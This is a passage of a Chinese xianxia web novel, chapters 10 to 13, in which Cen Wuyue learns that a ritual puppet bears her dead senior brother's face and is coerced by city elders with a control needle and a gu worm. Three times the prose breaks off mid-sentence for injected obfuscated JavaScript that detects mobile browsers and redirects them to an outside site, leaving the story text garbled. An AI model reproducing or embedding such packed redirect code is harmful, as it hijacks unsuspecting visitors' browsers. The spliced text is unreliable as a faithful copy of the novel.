奚逐云安静了一会儿,问:“你知道星家的那位‘司辰君’吗?” 岑无月有印象:“‘银河作算筹,看尽万古秋’的那个星玄度?” “我同他关系还不错,”奚逐云说,“你可以带上我的信物去星家,找他算一算你师兄师姐的下落。” “这么善良,不愧是圣山弟子。 ”岑无月怎么可能不接这么好的免费午餐,她立刻就应了下来,生怕奚逐云反悔,“好啊好啊,等止渊节过完马上就去!” 奚逐云张了张嘴,正要说些什么的时候,突然似有所察地偏了一下头。 岑无月也看见了,是火烧屁股地从空中疾驰过来的三长老等人。 奚逐云好像叹了口气,但那叹声里又似乎包含着些许如释重负的意思。 “我明日再来找你。”他临走前这么说道,又很关心地重复,“我说的事情,你再考虑一下。” 岑无月:“?”考虑什么,这么好的机会,完全不需要考虑直接抓住就好啊! 10.第 10 章 在奚逐云日复一日的努力下,灵脉的暴动似乎缓和了一些。 只不过,用以在止渊节上镇压业障的偃甲还没有准备好。 这个消息,岑无月是从张雷口中听来的。 大概是还肩负着一些监视的职责,张雷三不五时就会出现在岑无月面前。 不过当奚逐云在时,他不会出现。 奚逐云一走,他就从某个阴暗的角落里噌一下冒出来了。 岑无月喜欢跟人聊天,倒也不在意聊天的对象到底是奚逐云、是张雷、又或者只是一个没有交换过姓名的凡人。 所以哪怕张雷最近泡多了坐忘阵,总是冷冰冰的,岑无月也不介意和他漫无目的地聊天。 ——于是,就知道了丢失的灵契偃还没找到的消息。 “这轮不到你我来操心,”张雷看起来对此事并不上心,“城主和长老们自然知道怎么办,你我这样的人焦急也不会有用,只会产生多余的情绪。” 岑无月多看他两眼,刨根问底:“‘你我这样的人’是什么样的人?” “弱者。”张雷理所当然地说,“弱者的意见没有被尊重的必要。” 弱者·岑无月感觉自己像在好好走在路上突然被擦肩而过的路人扭头骂了一顿。 “所以只有努力修行,一步步接近那至高大道——然后才有思考那些事情的可能。”张雷浑不在意地接着道,“在那之前,我们只需要按照约定俗成的规则来做就好。” 岑无月突发奇想地问:“万一规则是错的呢?” 张雷看着她,像听见了路边的石头突然开口说话似的诧异。 最后他评价道:“愚蠢且毫无必要的疑问。” 只评价这么一句,他偏头往某个方向一看,便毫不犹豫地走开了,像是一个停留下来随意和岑无月聊天、又飞快结束了聊天的路人。 没一会儿,奚逐云就来了,还带着他前一天说好的信物:一枚看起来像是微缩山峰的印章,两指粗细,做得很精致。 岑无月看看这枚印章,又看看奚逐云浑身上下的首饰。 ——就是这些细节和装饰,将他衬得像个小公子而非天天累死累活的圣山弟子。 “这些?”奚逐云晃了晃手腕,“不是我想戴才戴的,全是用来加速净化、冲缓恶念涌入我体内速度的法器。” 仔细一看,首饰的颜色好像都比之前要暗淡了一些。 原来如此。 消耗品啊。 那不是更贵了吗。 “所以……”奚逐云又问,“你准备什么时候走?” 他好像很不习惯重复询问别人同一个问题,开口时有些艰难。 但刚刚拿人手短的岑无月也完全不介意他的反复确认:“止渊节结束第二天吧,我立马收拾东西出发。” “止渊节的仪式……”奚逐云措辞时脸上的表情很谨慎,“其实也没什么好看的,前前后后要花上几个时辰,但几乎都是没有实质使用的程序。” 岑无月很感谢他的提示,立刻请教了一下:“那我在开始多久之后再过去可以省略前面的过程直接看重头戏?” 奚逐云都有点急了:“你、你就非看不可吗?” “人人都能看我为什么不能看啊?”岑无月不服道,“我都还没亲眼见过被污染了的灵脉长什么样呢。而且听说参加那个仪式时诚心祈祷的话愿望可以成真,我准备去试一下。” “被污染的灵脉有什么可看的,那又不是观赏品!”奚逐云生气了,“这条灵脉不知为何暴动得厉害,止渊节当天都有可能发生意外,你不应该靠近它。” 岑无月品味一下他话里的意思:“所以很有可能因为过于危险,仪式就直接不开放给城里民众看了?” 奚逐云愣了愣,而后飞快点头:“对,没错,就这么干。” “哦,原来如此,”岑无月笑眯眯盯着他的脸道,“我还以为你老这么劝我是因为怕我看到不想看的东西呢。” 奚逐云的身体僵住了。 从某种程度来说,他实在是一个很不会撒谎的人。 也没有在被人当场戳穿之后瞬间编出另一个谎言来弥补的本领。 更不要说那张噌一下就爆红的脸了。 岑无月眼疾手快地抓住奚逐云的手腕阻止他逃跑,慢条斯理地数:“你前言后语每一句都在劝我趁着仪式没开始离开玄枢城,但又不肯说原因。我想了又想,一开始明明你对我的态度都还很正常,产生变化是从看见我定制的木雕开始的吧?” 被扣住脉门的奚逐云看起来更不知所措了,他左看右看,像在找一条逃离此处的路径:“什、什么木雕,完全不知道你在说什么。” 岑无月干脆靠近些,威胁地压住他的肩膀和上臂:“但你又是一个好人,至少完全是为了我在考虑而劝我提前离开。所以我猜,仪式上会出现和我有关的东西,你觉得那东西可能会让我伤心是吗?” 奚逐云要是个凡人,这会儿都该开始脑门手心冒汗了:“没没没没有啊。” 岑无月不为所动,甚至凑得更近了些,细细观察奚逐云的表情变化:“没人能找到我师父,肯定不是师父。所以是谁?二师姐?三师姐?小师兄?” 奚逐云拼命后仰,就差把眼睛闭上了。 但这也没用,对于岑无月来说,他太好懂了。 她慢慢道:“……是小师兄。你在哪里见过他的脸,城主府?” —— 眼见已经纸包不住火,奚逐云没办法,找了个地方布好静音诀,快速地将事情说了一遍。 “你说城主给你看了一台备用的偃甲,长着和我小师兄一样一样的脸?”岑无月拿着奚逐云买来赔礼道歉的糖糕,边慢慢地吃边思考,“但也可能只是长相相似而已?” 奚逐云垂着眼睑:“你定做的木雕和他有几成相似?” 岑无月不假思索:“九成九。” 奚逐云回道:“那偃甲也有九成九像。” 岑无月又想到一个可能性:“那说不定是小师兄和城主认识,然后城主照着他造了一台偃甲?你别说,我全师门都长得很好看,我师父说自己收徒时颜值是第一门槛。” “……”一段不算漫长的寂静过后,奚逐云终于将凝于地面的视线抬至岑无月脸上,直视她的眼睛,“偃甲若能做到那般相似,定是照着真人的模样做的,还需要对方的一丝神念才能仿到神态。” “小师兄性格很好的,送人神念一点不奇……” “——但那台偃甲已经‘死’了。”奚逐云第一次打断岑无月的话,语速加快,“城主展示给我看时,说那台偃甲本是她友人的样子,但如今神念已空,恐怕镇压也只能起到一半的作用。岑无月,你能明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276464|166203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白她说的话代表着什么吗?” 代表什么? 岑无月眨了眨眼睛,没有马上接奚逐云的话。 “……沈述死了。”奚逐云的眉心微微蹙在一起,仿佛此刻感觉到痛苦的那个人是他而不是对面的岑无月,“他不是‘还会回来’,不是‘失约’,不是‘需要你去找’,而是死了。” “他说过的话从来会兑现。”岑无月道。 “但和你约好会三十三年之内回去的他不是四十六年了还没回去吗?” “……” 或许是意识到自己的言语越线,奚逐云闭了闭眼,再开口时便说了低低的一句“抱歉”。 “就算他回不来,”岑无月朝奚逐云笑了一下,仍旧是甜而无害的笑靥,“也一定不是故意的。” 这下轮到奚逐云沉默了。 而岑无月也通过这一系列对话明白了奚逐云这段时间以来每天跑来找她、主动赠送信物、说话又总是遮遮掩掩这些究竟是为何了。 他希望能让渡给她一些微渺的、哪怕是虚假的期待,也不想让她直面至亲的死讯。 这是他的温柔,也是他的以己度人。 “对你来说,‘确认死亡’比‘下落不明’要来得更痛苦是吗?”岑无月望着城主府的方向,“但对我而言不是。我的师姐师兄们,哪怕是死了,变成木头、变成花草、变成砖瓦、变成路边的石子……我也都要一一找到,再将他们带回师门。” 奚逐云不说话,眼圈泛红,好像在代替笑吟吟的岑无月难过。 “奚逐云,你的心太软了,”岑无月分了他一小块糖糕,“在这个世上……你这样只会让自己更痛苦。” —— 作为城主,辞青就没有李大厨那么好见了。 况且正是一整座城的生死存亡关头,岑无月也不想在这关头找去大吵大闹,万一业渊真的大爆发,届时山崩地裂,生灵涂炭,玄枢城里能活下来几个人都不好说。 岑无月告诉客栈老板自己会在止渊节后也多住几天,老板乐呵呵地应了——反正岑无月的账一直是城主府那边出的。 另外,她也已拜托奚逐云在止渊节结束后多留两日,有他引荐,玄枢城城主肯定会同意见她。 辞青也未必会给出什么重要情报,不过既然称沈述为“友人”,那一定多少能提供些线索,让岑无月思索接下来该怎么办、去哪里。 岑无月用手指戳戳木雕沈述的脑袋,叹气:“你怎么就死了呢,死前有没有成功拉人给你垫背啊?没有的话那也太亏了吧?” 木雕当然不会说话。 但城内突然响起一记沉重的钟声,声纹如同清水一般荡过整座玄枢城的上空。 岑无月和周围的人一样偏头往声音传来的方向望去。 ——那是城东边矗立的钟楼。 第二记钟声响起时,街头巷尾那些疑惑的交流声就静了下去。 随着钟声一阵一阵地叠加,空气也变得越来越凝重。 一声,两声,三声……七声。 众人屏息等待良久良久,直到确认不会再有下一记钟响,嘈杂声才像是冷水滴入油锅一样轰然炸开。 所有人都在震惊地互相问彼此:“长老死了?!” 而握着木雕的岑无月也很震惊地问它:“你过这么多年才想起来要拉个垫背的?!” 11.第 11 章 ——开玩笑啦。 沈述的性格里绝对没有“睚眦必报”这四个字。 倒霉……哦不是,英勇的四长老是为了玄枢城牺牲的。 在灵脉的又一次暴动中,尽管奚逐云尽全力救了在场的绝大多数人,四长老还是为了让其他人能活着离开献出了自己的生命,落入灵脉之中。 别说全尸,连根头发丝都没能留下来。 城民们为此悲痛不已,甚至还推举了几个身强力壮、腿脚快的青年人去灵脉附近烧香祭拜,以慰四长老的在天之灵。 玄枢城弟子们的表情似乎比往日更沉重了。 奚逐云身上的法器也从澄澈的透明、白色变成了沉郁的黑或者灰色。 “情况不对劲,”他紧蹙着眉,忧心忡忡地对岑无月道,“那种暴动太不正常了——我从未见过这么快、又这么频繁的暴动。” 他的担心程度之甚,到了非要给岑无月白送一份护身符的地步。 还不让不收,拒绝两句他就露出那种好像被踢了一脚的小狗眼神。 岑无月只好把护身符戴到脖子上,又把玩了一下这个像是鳞片似的东西:“是玉做的吗?” 奚逐云只说了两个字:“不是。” 岑无月等了半天没等到下文,疑惑地抬头:“那是?” “我自己做的。” 奚逐云突然变得惜字如金。 “?” “反正不是玉。” “那是?” “……总之是我亲手做的。” 怪哉,难道是什么见不得人的材料吗。 岑无月还想再问,不过此时一只白色的小鹤拍翅向奚逐云飞来,打断了对话。 白鹤落在奚逐云肩膀上,亲昵地蹭一下他的脸颊。 岑无月已经见过这鹤好几次,它是净庭山用来通讯的工具,并非活物,而是一种精妙的法诀。 不过净庭山人似乎用得很随意就是了。 今天是奚逐云的师姐问他出门情况顺不顺利,明天是奚逐云的师叔问他什么时候回去,后天是奚逐云的师父随口考校几句他的功课…… 总之,奚逐云出个门,他全师门都操心得不行的样子。 正好奚逐云在为玄枢城这条污染灵脉的事情操心,岑无月便提议道:“找你师门的其他人帮帮忙?城主现在一时也拿不出合适的偃甲用来镇压吧。” 奚逐云刚刚听完小鹤带来的传讯,脸上露出一点腼腆又高兴的笑意,好像刚刚被亲近的人夸了一顿似的。 于是回绝岑无月提议时的表情也还带着那些笑意:“我也不能总是依靠他们,总有一天得只靠自己。” 说完这句话,他便马上顿住,抬眼瞥一下岑无月,脸上露出懊恼的“糟糕,说错话了”表情来。 “我可没觉得你是在说我。”岑无月好笑道,“而且就算小师兄真的回不来,我也还有师父相依为命呢。” “虽然没有详谈,但我替你问了城主。”奚逐云抿抿嘴唇,“她说那位友人确实名叫‘沈述’,来这里是二三十年前的事情。” 听到这句确认,岑无月内心并没有产生什么诧异之情。 她早就已经猜到了。 “不过好消息是,城主说她这几日就可以见你,不必等到仪式后。”说到这里,奚逐云又振奋了一些,“应该很快会有玄枢城的人来找你的。” —— 玄枢城的人果真来得很快,而且还是熟人。 既然是熟人,岑无月便问了一个想知道的问题:“桑青师姐最近见过张雷吗?” “张雷?”桑青回忆了几息,才道,“没有,他怎么了?” “原本每天见到他,”岑无月纳闷道,“但这三天一次也没出现。” “或许是在西边忙碌,一些弟子在那里驻扎布阵,一直没有回城。”桑青淡淡说完,目光落在岑无月手里的红枣年糕上,“你要带着这个去见城主?” 岑无月立刻保证:“我会在见城主前全部吃到肚子里的!” 好消息,红枣年糕很好吃。 坏消息,红枣年糕黏得恼人。 站到玄枢城城主辞青面前时,岑无月还在不动声色地和死死黏在喉咙口的那块年糕殊死搏斗,并努力对辞青露出一个乖顺的晚辈式笑容。 “你就是沈述的小师妹?”辞青先开了口,她的脸上虽然没有笑意——这也是无情道修的常态了——但眼神算得上柔和。 岑无月弯着笑眼行礼。 年糕,不要再挣扎了啊年糕! “想必沈述没和你说我的事,”辞青轻轻摇头,“否则以我和他的关系,你想要什么入城直接来找我便是。一个厨子而已。” 岑无月长舒一口气。 再见吧年糕,像四长老一样没入深渊是你的命运。 “师门闭塞,里外消息不通,除了亲自回去没法传信。”岑无月接上了话,“不过小师兄既然结交了您这样的朋友,回了师门,一定会同我和师父细讲上三天三夜的。” 辞青似乎被这句话勾起了什么回忆,眼中的光轻轻晃动:“我和沈述,也是论道了十几个日夜后才成为挚友的。” 论道,那是好听的说法。 就是用一种比较修士的方式吵架罢了。 辞青接着又和岑无月说了些沈述和周五的事情。 以“不知名门不正派”的不知名程度,师门里的事绝不可能被外界人知晓。 只需要问几个问题就能知道彼此是不是在说谎了。 大概是确认岑无月的确是沈述的师妹后,辞青才切入正题:“我唤你来,主要是同你说一件事。沈述曾经助我造了以他为原型的偃甲,其内含有他的神念,实力有他本人七成,哪怕在我所造的所有偃甲中,也是数一数二的杰作。” 岑无月点点头,毫不怀疑辞青的话语。 师父说了,收徒的第一个门槛是颜值,第二个就是天赋。 岑无月四个师兄师姐,均是百万、千万里挑一的绝世天才。 “但那仅限于他神念尚在的偃甲。”辞青点到为止,没有将某个残酷的事实再复述一遍,“——不过,奚逐云已经告诉你了吧。” 岑无月又点点头,等待辞青的后文。 “他离开之后,我又仿造数台用以镇压业障,不过那些都只是普通偃甲。这些年普通的偃甲作用渐弱,我原准备将凝结了心血的契偃投入其中,但……”辞青停了一下,略去中间内容,“因此,几日后我预备在仪式上将这具偃甲投入业渊中,姑且进行镇压。事急从权,当下没有比这更好的偃甲了。之后我会全力搜索被盗走的灵契偃,只要两年内能找回,时间上便来得及。” 这就是先拿普通材料随便补补,之后找到正经材料再回来彻底补好的意思了。 岑无月再点点头,见她一直凝视着自己,是在等待回复的样子,便开口道:“恐怕不是余铮盗走的。” 辞青的脸上一瞬间似乎滑过了冷笑。 “我知道是谁弄走的。”她说,“你不必管这些,好好修行便是,少贪吃些。” 后面四个字就有点恨铁不成钢的责备意味了。 岑无月熟练地朝她露出讨好长辈专用的亮晶晶狗狗眼,眨一眨。 这招特好使,师父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284393|166203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都抵挡不了。 用师父的原话来说就是——你怎么会长这么一张浑然天成让人觉得“好可爱啊算了全部原谅她吧”的脸啊! 迎着岑无月的辞青也顿了顿,没接着劝,而是道:“……离长老们远一些。” 岑无月眼也不瞬,答得乖巧:“知道啦。” “……” “城主担心我,城主好~” “他真是没说错你,‘看起来一点也不像无情道修的那个就是我师妹,你见到就会明白’。”辞青慢慢道,“那天在西城门见到你,我还以为是猜错了。” 那天岑无月确实看见对方向自己点头示意了,她还以为那是自己面善呢。 辞青说罢,站起身朝岑无月点点头:“你随我来。” 岑无月随她向后走去,很快便抵达一处十分私密、绝不是用来待客的场所。 “这是我的千机房。”辞青道。 岑无月有点为难,但实话实说:“城主,我恐怕对偃甲一窍不通。” “你师兄也不懂。”辞青说,“与偃甲无关,我只是想让你看一看他。” 看一看……? 岑无月有点茫然地跟着辞青一起停住脚步,又看着她打开一个立在一旁的高大黑盒,而后怔在原地。 盒中静静闭目站着一个青年模样的男人。 他就像是站着入定、又或者只是正好眨了一下眼还没睁开,当你站在他面前时,几乎能错觉听到他的心跳和呼吸。 岑无月不擅长分辨人的美丑,但哪怕四十六年没见,她也不会认错沈述的脸。 那果真是如同奚逐云所说那样,“如果木雕有九成九像,那偃甲也有九成九像”的那么像。 ——如果不是此刻这台偃甲的胸口大开、露出了里面的复杂机关,岑无月也会恍然将它当成是自己那下落不明的小师兄。 好像再这么看一会儿,他就会睁开眼睛温声道:“怎么,师父又想不开跑山顶去了?” 或者“好,那今日不练剑陪你玩”。 也可能是“小月不用操心,这些交给我来就好”。 再不济,也可以说“师兄迟了,但给你带了赔礼,就原谅师兄一次吧?”。 “几日后,我会将它投入业渊中,”辞青站在原地,声音里似有叹息,“我想,你应该会想在那之前再见见这张脸。” 这才是辞青在仪式前百忙之中抽空接见她的原因吗? 岑无月凝视着偃甲的脸,又将目光落到那些她看不懂的的机关零件上,有些发愣。 “这几日在试着再做一些改进,看看能不能尽量多镇一段时间。”辞青便解释道。 “为什么非要用偃甲来镇压?”岑无月低声问,“难道就不能换成别的——” “换成活人?”辞青道。 岑无月收声了。 “偃甲本身就是修士的替代品,这世上不是人人都有净庭山弟子的本领。”辞青说着,伸出手去,动作很轻地合上了偃甲的胸口。 几乎没有机关运作、面板覆合的声响,而是像是一块皮肤在肉身上生长完毕。 岑无月再怎么细看,也找不到缝隙的存在。 以天衣无缝的角度来看,眼前的辞青应当是当之无愧的偃甲大师了。 “你若是想看,可以再留一会儿。”辞青说,“但不能太久,我还有很多事。” 岑无月却摇了摇头:“既然您时间不多,我更想知道小师兄可能的下落。” 她不舍地从偃甲脸上收回视线,有些勉强地挂上平时的笑容。 “……这毕竟只是一台偃甲而已。” 12.第 12 章 辞青没有隐瞒,回忆片刻便说沈述去了翊麟城,似乎是因为那里有某一位师姐的线索。 但更具体的,她便想不起来了。 翊麟城倒也很有名,与净庭山不相上下,也是一处福地,据说不需要常住,哪怕只是入城,也能受到福祉庇佑。 比起需要千载难逢天赋才能拜入的净庭山,翊麟城才是更多人心目中的最佳居住地。 岑无月把翊麟城定作自己下一站的目标。 不过在离开之前,镇压仪式她是非参加不可了。 毕竟将要被投入业渊之中的偃甲同她几十年不见的小师兄长得一模一样,于情于理,岑无月都觉得自己该去送这最后一程。 重新见到小师兄的脸后,她对自己这趟下山的目标终于有了些实感。 另外,辞青对长老们的态度也很耐人寻味。 甚至还特地叮嘱岑无月“离长老们远一点”。 ——但是半夜被长老亲自出马悄悄抓走这种事情,就不是岑无月主动离远一点就能杜绝的了。 岑无月被挟着出城、一路向西,最后抵达了夜色中的灵脉。 这世间,灵气无处不在。 但它们本应该是平和的、缓缓流动的,而不是像玄枢城西边这样左右突刺,好像一个明明不能吃辣却刚刚生吞了一颗朝天椒的人一样歇斯底里、大声咆哮。 一条“灵脉”在被污染后,就会被改称“业渊”,即业障的深渊。 玄枢城本是在灵脉上建成、壮大的,与灵脉的关系几乎是密不可分。 但站在如今这条“灵脉”边上,岑无月觉得玄枢城只怕是离完蛋不远。 简直像是被某种力量自地底撕裂一般,山峦从中凭空裂开一道狰狞巨口。 若有人带着足够的勇气站到这条裂缝边向下望,那就能体验到坠入地狱是什么感觉了。 是的,这个正在体验地狱的倒霉蛋就是岑无月。 五长老一边死死按住她的肩膀让她无法后退,一边咬牙切齿地质问:“你果然是辞青的人?!” 半只脚已经踏空的岑无月觉得自己真的好无辜:“可我今天才第一次见城主啊。” “如果不是你通风报信,她怎会知道我们在做什么。”站在岑无月另一边的二长老幽幽地说。 “张雷不是一直盯着我吗?”岑无月纳闷道,“以我的修为还能在他紧盯的情况下通风报信?如果我消失过,张雷应该马上就会知道。” 张雷显然就是这群心里有鬼的长老派来的嘛。 五长老冷哼:“别装傻,张雷死了。” 唉,没想到真的死了。 修真界真是危机四伏啊。 岑无月磕巴都不打一个,立刻转换交涉策略:“那也肯定不是我杀的啊。” “不打自招,谁说是你亲自动手?”五长老嘲讽道,“辞青随便派个人杀了他,你就能自由传信。上次客客气气请你,你就只会胡言乱语扯些没用的东西——我早就该猜到你是那女人的走狗!” 这就说不清了。 指不定张雷还真是辞青派人杀的呢。 这修真界真是到处有理说不清,全靠拳头大。 小小玄枢城内斗还闹挺激烈,用师父的话来说,这级别都只能叫村口械斗。 小命被捏在两个拎不清的人手里,没办法讲理,岑无月只好想办法自救。 虽说辞青是小师兄的旧识,但她到底修的也是无情道,指望一个无情道修去救一个旧识的师妹,这概率不亚于岑无月现在立马道心大成、破碎虚空、飞升上界。 “这是你第一次见业渊吗?”二长老道,“知不知道掉进业渊的活人会怎么样?” 岑无月想了想曾经听过的描述:“形神俱灭,尸骨无存?” “对,也不对,”二长老像是亲眼见过似的,侃侃而谈,“你的肉身会在半个时辰内被炼化,但神魂却会清醒地被困在其中,既无法挣脱,又不能解脱。业渊是怎么‘吃人’的,知道吗?” 他倒像个好老师一样给岑无月上起课来了。 但岑无月不是个好学生,她兴致勃勃地猜测:“一口吞?” “比起‘吞’,它那应该叫‘舔’。”二长老的嘴角森冷地向上勾扯一下,“你就只能像受凌迟之刑一样,在足足三个月的时间里,被业渊一口一口地舔成碎末、融入其中,再也不记得自己是谁,更不知道辞青许过你什么好处,只能浑浑噩噩地成为这种腌臜的一部分。” 这番话虽然耸人听闻,但说不定是真的。 因为岑无月几乎能感觉到那些黑气正在急切地向自己的脚边跃进,像是一群闻到了血腥味的食人鱼张开利刃跃出水面、迫不及待想撕扯一口鲜肉下来。 “你好好想想,”二长老意味深长,“还这么年轻,你也不想就这么悄无声息、痛不欲生地死去吧。” 岑无月看看脚下深渊中翻滚呼啸的黑色雾气,身体虽然被那阴森疯癫的气息冲得紧绷发冷,但心里反而更加镇定下来,甚至还抬头朝二长老笑了笑:“您直说吧,今天找我来是需要做什么呢?” 二长老盯着岑无月看了半晌,大概终于是觉得她的表情足够诚恳,才纡尊降贵地点点头:“还不算太蠢。” 五长老仍然没有松开手,而二长老则是将隐于袖中的手探了出来。 她的指尖也捏着一根针。 不过不是桑青用的那种细如发丝的金针,足足要粗上十几倍。 岑无月盯着针看了一会儿,又抬眼看二长老那绝不接受商量的表情,只好言简意赅地表示一下自己的震撼:“……哇。” —— 第二日奚逐云照例来找岑无月时,身旁又与往日一样围着许多想同他攀谈的修士们。 无情道虽大,但小命更是要紧。 业渊越来越多,净庭山弟子也逐渐力不从心,这几年几乎陆续都受了重伤回山休养,唯一在外行走的只有奚逐云,谁能说得好自己什么时候会被瘴气侵染,需要这根救命稻草? 于是别说善谈不善谈、多金不多金,总之先到奚逐云面前混个脸熟总是没错的。 说来奇怪,奚逐云面对小贩们的围追堵截时那是焦头烂额,但应对这种修士围攻的场景倒是很得心应手。 他只是露出温和的笑容,静静聆听,偶尔点头回复一两句,便能得到绝大多数人发自内心的心悦诚服。 可能他就是有这种魔力吧。 岑无月托着下巴看他一路好脾气地将这些修士一一劝回,还和其中几个对上了视线。 那几个人脸上立刻露出嫉妒的表情,小声嘀咕着什么扭脸走了。 不外乎是“凭什么……”“不就是个……”开头的诋毁之词。 唉,别说玄枢城里众多修士不明白,岑无月自己也不明白。 奚逐云怎么就对她这么在意呢? 她实在太好奇,于是就直接问了。 “——只是觉得你同我很像。”奚逐云说,“我也是全师门里最小的弟子,被师兄师姐们带着长大。” 他说这话时稍微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292272|166203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些漫不经心,视线疑惑地在岑无月全身上下扫视,像在找什么东西。 “灵符吗?”岑无月用手指勾着绳子给他看,“我戴着呢,放心啦。” “不是这个,”奚逐云蹙眉问,“你身上怎么会有业渊里恶念的气息?” 他是行家,根本隐瞒不了一点。 从不说谎的岑无月笑眯眯地说:“可能是我昨天半夜突发奇想去西边看了一下?” 奚逐云露出了不赞同的表情。 “不可能,你没那么蠢。”他很肯定地说。 岑无月都不太确定这句话里的自己是被夸了还是被骂了。 这位净庭山的天才看了岑无月好一会儿,脸上露出一点困惑的表情,像是这辈子第一次碰见自己解不开的题似的。 “你保证你没事?”他只好这么向岑无月确认。 “我保证我没事。” 奚逐云还是很不放心,临走前反复强调:“如果需要,随时可以唤我。……我给你留一只鹤吧?……真的不用?……好吧。但记得若你找我,我一定会来,好吗?” 那副架势让岑无月想起了自家师父。 等奚逐云匆匆离开,岑无月慢悠悠回到客栈里,侧身挽起头发对着屋内水镜端详。 她的后颈风府穴下方多了一点痣样的黑印。 但和痣不同的是,这黑点仿佛连通了周围的经脉,自肌理表层向外扩散出几根血管状的黑紫色分支。 岑无月拉下衣领检查,发现最长的一条已经延伸到了肩上。 用手指揉一揉黑印的位置,根本摸不到昨夜刺进去那根针的手感。 不过要感受它也很简单,只要在心里随意想几个和二长老作对的念头,后颈立刻就开始隐隐作痛。 岑无月打消这几个念头,浑不在意地放下头发,在水镜前将衣服重新整理好。 看来师父说得没错,修真界很大,多的是她还不知道的能力。 玄枢城几名长老想夺权,没想到被城主棋高一着反杀一个。 正面不行就只好来更阴的。 听说岑无月和辞青预备在仪式上用的偃甲原型关系匪浅,便让她在对偃甲动手脚,辞青一旦中招,怎么也不会是他们四人的对手。 为了防止岑无月“再次”通风报信,同时也为了保证计划顺利进行,二长老给岑无月来了一针特痛的。 这一针扎进,便将扎的人也在某种程度上制成了偃甲。 一旦说出、做出不该做的事情,这针便会取而代之,如同木偶线一般操纵宿主行动。 譬如刚才,岑无月要是将昨晚的事情对奚逐云全盘托出,那针可能就要发力夺取控制权了。 说实话,岑无月对这一招还挺好奇的。 可惜昨夜二长老情绪比较激动,没能好好请教一下。 岑无月有点遗憾地这么想着,又从储物戒里摸出了昨天二长老给的另外一件东西。 这东西粗看是颗小拇指粗的蜡制小球,但细看就能瞧见里头蜷着一只红色的虫。 二长老没多解释,只命令岑无月在时机适合时将其藏入偃甲中。 但也不需要解释,因为怎么看这都是一只蛊虫嘛。 岑无月有趣地用手指来回拨弄这只休眠中的小虫,边思考起来。 按理来说,保全自己的性命应该是最重要的,所以暂时应该照着二长老的话去做。 不过往偃甲里放蛊虫的行为要是被辞青发现可就太危险了,什么时候下手才最不容易被发现呢? 13.第 13 章 距离仪式开始还有四天时,城里的小贩们已经开始卖面具了。 岑无月在摊位前挑挑拣拣,而小贩妙语连珠地向她卖力推销:“咱这面具可是在钟楼前供奉过的,别处可买不到。哪怕您戴着去那业渊附近,也能起到护体的效果!哎,那位就在城内的圣山弟子,您知道吧?他都亲口夸过这面具!” 看来奚逐云不仅是小肥羊,还是活招牌。 就是不知道他本人是不是知情了。 面具的画工倒是不错,一张张都长得活灵活现,看一眼就知道画的是什么。 就是都长得挺狰狞。 不过岑无月转念一想又理解了:大概是跟门神一个道理,得凶恶一点才有保护的作用。 那么……白蛇还是银蛟呢? 岑无月举着两张面具沉思片刻,最后要了蛇的那张。 小贩美滋滋地收钱,找回给岑无月五个铜板,又兜售道:“您这边再看看?要是再买个小件儿,我只要您五文钱!” 岑无月看看自己掌心的五文钱,乐了:“你真会做生意。” “瞧您说的,小本生意,不精打细算可不行。” 岑无月干脆把五文钱也给了他,随手点点糖豆:“包一点这个吧,分开两包。” 小贩眉开眼笑:“好嘞!” 岑无月尝了一个。 嗯,山楂味的,不错。 她将面具拿在手上,慢悠悠地往西城门走。 别处城门尚还有人进出,唯独西城门可谓是人迹罕至了。 城门外仍旧残留着那天业渊像是凶兽一般暴动后留下的黑色遗迹。 昨晚上被挟带出去时因为天太黑,倒是没看仔细。 岑无月站在门口好奇地探头观望一会儿。 可能是昨晚已经和业渊进行过亲密的近距离接触,她现在看这些业渊肆虐过后的残痕倒不觉得很压抑。 但凡没疯的人都不会从这扇门出入,所以倒是连个守门弟子都没安排。 一踏出护城阵的范围,岑无月原本被压制的灵力就回来了。 就像是原本穿着一件紧身衣的人终于换上了宽松的衣裳那样,岑无月舒适地轻出一口气,运转灵力附于足下,将自己同地面隔绝,而后向业渊方向赶去。 灵脉被污染后产生的裂缝不止一条,昨晚岑无月去的那处地方就无人驻守。 这一路上零零散散地能见到不少玄枢城弟子,他们一个个都忙得焦头烂额,好似恨不得长出三头六臂,看见岑无月经过也只是瞥上一眼、给个余光,确认她没有威胁后立刻无视。 也是,毕竟离仪式只有四天了。 不过普通弟子说不定知道得还没有岑无月多呢,比如这次仪式只能有个五成功效,办完之后城主和长老就要撕破脸什么的。 另外还有一些非玄枢城的修士们,或三两成群,或独自行动,但人人看着业渊时都是双眉紧皱,像在面对一道巨大且无解的难题。 岑无月不紧不慢地从他们身边经过,循着玄枢城弟子的动向,很快就找到了四天后仪式的举办地。 